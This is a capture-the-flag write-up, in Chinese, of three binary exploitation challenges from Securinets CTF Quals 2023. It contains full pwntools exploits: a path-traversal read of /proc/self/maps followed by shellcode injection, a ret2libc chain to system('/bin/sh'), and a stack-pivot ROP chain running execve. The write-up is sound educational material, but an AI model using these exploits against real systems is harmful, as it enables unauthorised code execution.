[Securinets CTF Quals 2023] Admin Service,ret2libc,One is enough
只作了3个pwn,第4个附件没下下来,第5个不会
Admin Service
这是个最简单的题,最后来弄出来。原来只是看过关于maps文件的,一直没什么印象。
题目一开始设置seccomp禁用execv等,看来是用ORW,然后建了个mmap的可写可执行块
然后提供3个功能:
1,读文件,由于没限制..可以漏洞读任意文件,只检查flag字符串
2,更新配置,在4060起的偏移上写10字节,这理理论上得到地址后可以写任意位置
3,backup 当backupCall不为0且 s1='backup: 1'时可执行backupCall(),当然原始状态是空
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{__int64 Int; // raxsetup();rules();backupCall = 0LL;s1 = 0LL;backupCode = (__int64)mmap(0LL, 8uLL, 7, 34, 0, 0LL);while ( 1 ){printMenu();puts("Choice:");Int = readInt(); // 可以残留if ( Int == 4 )break;if ( Int <= 4 ){switch ( Int ){case 3LL:backupMessages(); // backupCall !=0 ,s1='backup: 1', backupCall()break;case 1LL:readChat();break;case 2LL:updateConfig();break;}}}exit(0);
}
一开始始终不清楚怎么泄漏,后来想到看过一个关于maps文件的,这个文件在/proc/[pid]/maps这里边是加载的段地址。
5576375fa000-5576375fb000 r--p 00000000 08:01 933322 /home/kali/ctf/0803/m0/services
5576375fb000-5576375fc000 r-xp 00001000 08:01 933322 /home/kali/ctf/0803/m0/services
5576375fc000-5576375fd000 r--p 00002000 08:01 933322 /home/kali/ctf/0803/m0/services
5576375fd000-5576375fe000 r--p 00002000 08:01 933322 /home/kali/ctf/0803/m0/services
5576375fe000-5576375ff000 rw-p 00003000 08:01 933322 /home/kali/ctf/0803/m0/services
5576375ff000-557637600000 rw-p 00005000 08:01 933322 /home/kali/ctf/0803/m0/services
5576379b8000-5576379d9000 rw-p 00000000 00:00 0 [heap]
7fe35d4df000-7fe35d4e0000 rwxp 00000000 00:00 0
7fe35d4e0000-7fe35d4e3000 rw-p 00000000 00:00 0
7fe35d4e3000-7fe35d509000 r--p 00000000 08:01 933342 /home/kali/ctf/0803/m0/libc.so.6
7fe35d509000-7fe35d65e000 r-xp 00026000 08:01 933342 /home/kali/ctf/0803/m0/libc.so.6
7fe35d65e000-7fe35d6b1000 r--p 0017b000 08:01 933342 /home/kali/ctf/0803/m0/libc.so.6
7fe35d6b1000-7fe35d6b5000 r--p 001ce000 08:01 933342 /home/kali/ctf/0803/m0/libc.so.6
7fe35d6b5000-7fe35d6b7000 rw-p 001d2000 08:01 933342 /home/kali/ctf/0803/m0/libc.so.6
7fe35d6b7000-7fe35d6c4000 rw-p 00000000 00:00 0
7fe35d6c4000-7fe35d6c6000 r--p 00000000 08:01 933344 /home/kali/ctf/0803/m0/libseccomp.so.2
7fe35d6c6000-7fe35d6d4000 r-xp 00002000 08:01 933344 /home/kali/ctf/0803/m0/libseccomp.so.2
7fe35d6d4000-7fe35d6e2000 r--p 00010000 08:01 933344 /home/kali/ctf/0803/m0/libseccomp.so.2
7fe35d6e2000-7fe35d6e3000 r--p 0001e000 08:01 933344 /home/kali/ctf/0803/m0/libseccomp.so.2
7fe35d6e3000-7fe35d6e4000 rw-p 0001f000 08:01 933344 /home/kali/ctf/0803/m0/libseccomp.so.2
7fe35d6e4000-7fe35d6e6000 rw-p 00000000 00:00 0
7fe35d6e6000-7fe35d6e7000 r--p 00000000 08:01 933333 /home/kali/ctf/0803/m0/ld-linux-x86-64.so.2
7fe35d6e7000-7fe35d70c000 r-xp 00001000 08:01 933333 /home/kali/ctf/0803/m0/ld-linux-x86-64.so.2
7fe35d70c000-7fe35d716000 r--p 00026000 08:01 933333 /home/kali/ctf/0803/m0/ld-linux-x86-64.so.2
7fe35d716000-7fe35d718000 r--p 00030000 08:01 933333 /home/kali/ctf/0803/m0/ld-linux-x86-64.so.2
7fe35d718000-7fe35d71a000 rw-p 00032000 08:01 933333 /home/kali/ctf/0803/m0/ld-linux-x86-64.so.2
7ffe74183000-7ffe741a4000 rw-p 00000000 00:00 0 [stack]
7ffe741d5000-7ffe741d9000 r--p 00000000 00:00 0 [vvar]
7ffe741d9000-7ffe741db000 r-xp 00000000 00:00 0 [vdso]
得到这个就好办了,用2写配置在backupCall写上个指针就能执行,但是只能执行一个函数,首先想到的是readchat的跳过检查写执行,但是地址没法写进去,readInt这个位置正好重合,选了菜单就没法用了。
看来一开始给的RWX段还是有用的,计算出RWX段与4060的偏移然后一点点写进去shellcode然后用backupCall执行。
不过远程始终连不上,没拿到flag
from pwn import *#p = remote('pwn.ctf.securinets.tn', 4444)
p = process('./services')
context(arch='amd64', log_level='debug')elf = ELF('./services')
libc = ELF('./libc.so.6')def setcfg(idx, v):p.sendafter(b"Choice:", b'2')p.sendafter(b"Config index:", str(idx).encode())p.send(v)def readchat(name):p.sendafter(b"Choice:", b'1')p.sendlineafter(b"Chat ID:\n", name)readchat(b'../../../../../../proc/self/maps')f_elf = False
f_libc = False
f_rwx = False
while True:line = p.recvline()if not f_elf:if b'services' in line:v = line.split(b'-')[0]elf.address = int(v,16)print(f"{ elf.address = :x}")f_elf = True if not f_rwx:if b' rwxp ' in line:v = line.split(b'-')[0]heap_address = int(v,16)print(f"{ heap_address = :x}")f_rwx = True if not f_libc:if b'libc.so.6' in line:v = line.split(b'-')[0]libc.address = int(v, 16)print(f"{libc.address = :x}")f_libc = Trueif f_elf and f_libc and f_rwx:break#gdb.attach(p, f'b*0x{elf.address+0x186b :x}\nc')#backupCall
setcfg(9, p64(heap_address))
#s1
setcfg(2, p64(elf.address + 0x20c2))offset = (heap_address - elf.address - 0x4060)//8
pay = asm(shellcraft.open('./flag')+shellcraft.read(3, heap_address + 0x200, 0x50) + shellcraft.write(1,heap_address+0x200,0x50))
for i in range(0, len(pay), 8):setcfg(offset+i//8, pay[i:i+8])p.sendafter(b"Choice:", b'3')
p.recvline()
p.interactive()
ret2libc
名字很直白,少走弯路。32位程序,直接给了个gets溢出
int __cdecl main(int argc, const char **argv, const char **envp)
{char s[80]; // [esp+0h] [ebp-58h] BYREFint *p_argc; // [esp+50h] [ebp-8h]p_argc = &argc;setup();puts("Is this solveable?");gets(s);return 0;
}
一看很简单,一作就麻爪,问题在这,当溢出后先pop ecx,ebx,ebp然后lea esp,[ecx-4],最后会跳到ecx-4这里。
绕过的办法是在读入0x50,利用gets最后写入的\0覆盖掉ecx的末字节,当末字节是个适当值的时候就会跳s的某个位置执行(比如说40),这个概率还是比较大的。
from pwn import *p = remote('pwn.ctf.securinets.tn', 6666)
#p = process('./main')
context(arch='i386', log_level='debug')elf = ELF('./main')
libc = ELF('./libc.so.6')
ret = 0x8049224p.sendlineafter(b"Is this solveable?\n", p32(ret)*17 + flat(elf.plt['puts'], elf.sym['main'], elf.got['puts']))
libc.address = u32(p.recv(4)) - libc.sym['puts']bin_sh = next(libc.search(b'/bin/sh'))
system = libc.sym['system']p.sendlineafter(b"Is this solveable?\n", p32(ret)*17 + flat(system, elf.sym['main'], bin_sh))p.sendline(b'cat /flag')
p.interactive()
One is enough
一看这名字,不会跟上题一样吧。还真有些一样。
菜单有3项,一是读名字,这个没什么用,二是读描述
__int64 __fastcall readDescription(__int64 a1, __int64 a2, __int64 a3)
{char v4[144]; // [rsp+10h] [rbp-90h] BYREFputs("Your description:", a2, a3);readInput((__int64)v4, 0x90uLL);return memMove((_BYTE *)(a1 + 16), v4, 144LL);
}
问题在于readInput这块,多读入一个字节
这样跟上题一样,多读这个字节会覆盖到rbp,这样后边再执行时遇到leave ret就会发生移栈(不是这个函数退出时,退出时只是把这个地址弹给rbp下次leave ret(main退出时)才会执行),选好一个位置让他移栈后执行。通过测试这个位置定48,试几次都成功。
题目是静态编译的没开pie,没用libc也就用不着泄露,不过只能执行syscall
这题还有个提示:没有输出,你不需要。
from pwn import *p = remote('pwn.ctf.securinets.tn', 7777)
#p = process('./main2')
context(arch='amd64', log_level='debug')elf = ELF('./main2')
pop_rdi = 0x0000000000401f3d # pop rdi ; ret
pop_rsi = 0x000000000040ab23 # pop rsi ; ret
pop_rbp = 0x0000000000401671 # pop rbp ; ret
pop_rdx = 0x0000000000463367 # pop rdx ; pop rbx ; ret
pop_rax = 0x0000000000431c77 # pop rax ; ret
leave_ret = 0x401910
syscall = 0x00000000004011a2 # syscall
read = 0x401767
bss = 0x4acb00p.sendline(b'2')
p.send(p64(0x40186d)*3 + flat(pop_rdi, 0x4acb00, pop_rsi,0x8, read, pop_rax, 59, pop_rdi, bss, pop_rsi,0, pop_rdx,0,0, syscall )+ p8(0x48))p.sendline(b'3')p.sendline(b'/bin/sh\x00')p.sendline(b'cat flat.txt')
p.interactive()
相关文章:

[Securinets CTF Quals 2023] Admin Service,ret2libc,One is enough
只作了3个pwn,第4个附件没下下来,第5个不会 Admin Service 这是个最简单的题,最后来弄出来。原来只是看过关于maps文件的,一直没什么印象。 题目一开始设置seccomp禁用execv等,看来是用ORW,然后建了个mm…...

计算机组成原理-笔记-第二章
二、第二章——数据的表示和运算 1、进位制度(二进制、十进制) 2、BCD码(余三码、2421码) 编码方式 功能 好处 弊处 BCD码 将每个十进制数码转换为4位二进制码 精度高,适合直接用于数码管或LED等显示设备 编码…...

mysql大量数据导入记要
需求描述 在工作中经历过两个项目要对数据库中的数据做大量数据的导出,转换和导入的工作。对于不涉及数据格式转换的导出导入工作,一般都是数据的备份。这个工作一般都由DBA搞定。对于要进行格式转换的工作,一般还是要由程序员参与。除非DBA…...

极狐GitLab 全新「价值流仪表盘」使用指南
本文来源:about.gitlab.com 作者:Haim Snir 译者:极狐(GitLab) 市场部内容团队 GitLab / 极狐GitLab 价值流仪表盘的使用相对简单,这种可以定制化的仪表盘能够让决策者识别数字化转型进程中的趋势及机遇。 如果你已经在用 GitLab…...

通过logrotate实现nginx容器内日志按天存储
场景 最近底层api需要上集群,于是用nginx做了转发,但是随着时间的增长,nginx的日志越来越大,磁盘空间也顶不住了,于是需要对日志进行分割,由于nginx原生是不支持日志按天存储和分割的,网上也介…...

广东珠海电子行业导入MES系统需要注意什么
一、电子行业工厂的生产特征 1.高度自动化: 电子行业的生产车间大多采用高度自动化的生产设备制造工艺。自动化流水线能够实现高效、精准和连续的生产过程,提升产品完整性和生产率。 2.多样化和个性化定制需求: 电子产品市场的需求多样化&…...

小红书2023/08/06Java后端笔试 AK
T1(模拟、哈希表) #include <bits/stdc.h>using namespace std;typedef long long LL; typedef pair<string, int> PSI;const int N 1e5 10;void solve() {string line, t;getline(cin, line);line ;vector<PSI> ans;unordered_m…...

3、有序数组的平方
有一个有序数组从大到小排列:-10 -5 1 2 3 4,将他们的每一项平方,然后再形成新的有序数组。 解法:双指针 因为前面是负数,后面是正数,平方和的最大值一定是从两端取得,所以可以定义一个头指针和…...

用于自然语言处理 (NLP) 的 MLOps
介绍 自然语言处理( NLP )的人工智能关注的是计算机和人们如何用日常语言进行交流。鉴于 NLP 模型在生产系统中的部署,我们需要简化 NLP 应用程序的不断使用,从而使 MLOps(机器学习操作)对 NLP 有所帮助。在生产系统中自动创建、训练、测试和部署 NLP 模型是 MLOps for …...

C#抽象静态方法
抽象静态方法 在C# 11中,引入了对抽象静态接口成员的支持。这个特性可以让你在接口中定义静态抽象方法、属性、或事件。具体来说,一个接口可以定义一个或多个抽象静态成员,这些成员没有具体的实现。任何实现该接口的类或结构必须提供这些成员…...

小研究 - Mysql快速全同步复制技术的设计和应用(一)
Mysql半同步复制技术在高性能的数据管理中被广泛采用,但它在可靠性方面却存在不足.本文对半同步复制技术进行优化,提出了一种快速全同步复制技术,通过对半同步数据复制过程中的事务流程设置、线程资源合理应用、批量日志应用等技术手段&#…...

HTML <samp> 标签
定义和用法 以下元素都是短语元素。虽然这些标签定义的文本大多会呈现出特殊的样式,但实际上,这些标签都拥有确切的语义。 我们并不反对使用它们,但是如果您只是为了达到某种视觉效果而使用这些标签的话,我们建议您使用样式表&a…...

C之(8)linux动态库编译框架
C之(8)Linux动态库编译基础框架 Author: Once Day Date:2023年8月5日 漫漫长路,有人对你微笑过嘛… 参考引用文档: VERSION (LD) (sourceware.org)Warning Options (Using the GNU Compiler Collection (GCC))All about symbo…...

Zabbix网络拓扑配置
一、简介 网络拓扑功能是一项非常重要的功能,它可以直观展示网络设备主机状态及端口传输速率等指标信息,帮助运维人员快速发现和定位故障问题;Zabbix同样配备了强大的网络拓扑功能,如何使用Zabbix拓扑图功能创建一个公司网络拓扑…...
2.4G芯片XL2408开发板,SOP16封装,芯片集成1T 8051内核单片机
XL2408开发板可用于2.4G芯片XL2408开发板的开发调试。XL2408烧录仿真需要使用WS_LINK。XL2408开发板烧录仿真需要接4根线:PA13:DIO,PA14:CLK,VCC,GND。 XL2408芯片集成射频收发机、频率收生器、晶体振荡器、调制解调器等功能模块,…...

iPhone苹果手机地震预警功能怎么开启?
iPhone苹果手机地震预警功能怎么开启? 1、打开iPhone苹果手机设置; 2、在iPhone苹果手机设置内找到辅助功能; 3、在辅助功能内找到触控; 4、在iPhone苹果手机辅助功能触控内找到振动,如果是关闭状态请启; …...

Storm学习之使用官方Docker镜像快速搭建Storm运行环境
文章目录 0.前言搭建完的效果 1.教程1.1.docker 安装 zookeeper1.2. 安装 storm nimbus1.3.docker 安装 supervisor1.4.docker 安装 storm-ui1.5.查看已经启动的容器1.6.提交topology到 storm集群 2.总结3.参考文档 0.前言 Apache Storm 官方也出了Docker 镜像 https://hub.do…...

【GTest学习】
1. GTest简介: GTest 就是 Google Test, 它是一个免费开源的测试框架, 用于编写测试用 C语言编写的程序(C 程序也能用, 但是需要用 C编译器编译)。gtest的官方网站是:http://code.google.com/p/googletest/ 2.GTest下载与环境搭建: GTest 下…...

[JAVAee]网络通信基础
目录 IP地址 端口号 网络协议 五元组 TCP/IP五层模型 网络互连之间的目的就是为了相互通信,传输数据,是可以不同进程间的基于网络的数据传输. 而IP就可以确定网络通信的双方. IP地址 IP地址主要用于定位标识网络主机或其他网络设备的网络地址.(就像快递的收货地址一般…...

【HDFS】BlockManager#checkRedundancy方法详解
BlockManager#checkRedundancy这个方法只有一处调用点, 就是FSNamesystem#finalizeINodeFileUnderConstruction方法。 TODO:补充FSNamesystem#finalizeINodeFileUnderConstruction方法的调用点。 checkRedundancy方法的参数的BlockCollection对象bc,解释一下,INodeFile类是…...

c++ 拷贝构造
我们思考一下这个问题: 观察以下代码,在运行的时候会崩溃 想一想为什么 #include<iostream> using namespace std;//栈类 typedef int DataType; class Stack { public://默认构造:Stack(size_t capacity 3){_array (DataType*)ma…...

MISRA 2012学习笔记(1)-Directives
文章目录 说明Directives2 编译与构建Dir 2.1 3 需求可追溯性Dir 3.1 4 代码设计Dir 4.1Dir 4.2Dir 4.3Dir 4.4Dir 4.5Dir 4.6Dir 4.7Dir 4.8Dir 4.9Dir 4.10Dir 4.11Dir 4.12Dir 4.13 说明 以下等级一般分为三种,建议,必要,强制 建议&#…...

升级node版本后vue2的项目node-sass、sass-loader安装报错(14.x升级到16.x)
node升级到16.x版本后,对应的node-sass需要升级到^6.0.0,此时sass-loader的版本需要升级到10.2.0以上 ,具体对应版本规则可参考链接: https://github.com/webpack-contrib/sass-loader/releases?page3 vue2通过vue/cli创建的项目࿰…...

深入理解CSS选择器:选择正确的方式掌控样式与布局
文章目录 CSS 概括CSS 选择器元素选择器(Element Selector)类选择器(Class Selector)ID 选择器(ID Selector)通用选择器(Universal Selector)属性选择器(Attribute Selec…...

qt设置控件的风格样式
设置tablewidget ui.tableWidget_MaterialLibrary->setStyleSheet("QTableView {""color:#DCDCDC;""background-color: #444444;""border: 1px solid #242424;""alternate-background-color:#525252;""gridline-co…...

简单易懂的Transformer学习笔记
1. 整体概述 2. Encoder 2.1 Embedding 2.2 位置编码 2.2.1 为什么需要位置编码 2.2.2 位置编码公式 2.2.3 为什么位置编码可行 2.3 注意力机制 2.3.1 基本注意力机制 2.3.2 在Trm中是如何操作的 2.3.3 多头注意力机制 2.4 残差网络 2.5 Batch Normal & Layer Narmal 2.…...

C语言经典小游戏之三子棋(超详解释+源码)
“纵有疾风来,人生不言弃,风乍起,合当奋意向此生。” 今天我们一起来学习一下三子棋小游戏用C语言怎么写出来? 三子棋小游戏 1.游戏规则介绍2.游戏准备3.游戏的实现3.1生成菜单3.2游戏的具体实现3.2.1初始化棋盘3.2.2打印棋盘3.2…...

宝塔Linux面板点击SSL闪退打不开?怎么解决?
宝塔Linux面板点击SSL证书闪退如何解决?旧版本的宝塔Linux面板确实存在这种情况,如何解决?升级你的宝塔Linux面板即可。新手站长分享宝塔面板SSL闪退的解决方法: 宝塔面板点击SSL证书闪退解决方法 问题:宝塔Linux面板…...

Problem: 6953. 判断是否能拆分数组
Problem: 6953. 判断是否能拆分数组 文章目录 思路解题方法复杂度Code 思路 针对题目中的以下目标,可以转换寻求数组中是否存在前后两个元素之和>m的情况,如果存在则返回ture,如果不存在则返回false。能这样转换的原因是,如果…...

MobiSys 2023 | 多用户心跳监测的双重成形声学感知
注1:本文系“无线感知论文速递”系列之一,致力于简洁清晰完整地介绍、解读无线感知领域最新的顶会/顶刊论文(包括但不限于 Nature/Science及其子刊; MobiCom, Sigcom, MobiSys, NSDI, SenSys, Ubicomp; JSAC, 雷达学报 等)。本次介绍的论文是:<<MobiSys’23,Multi-User A…...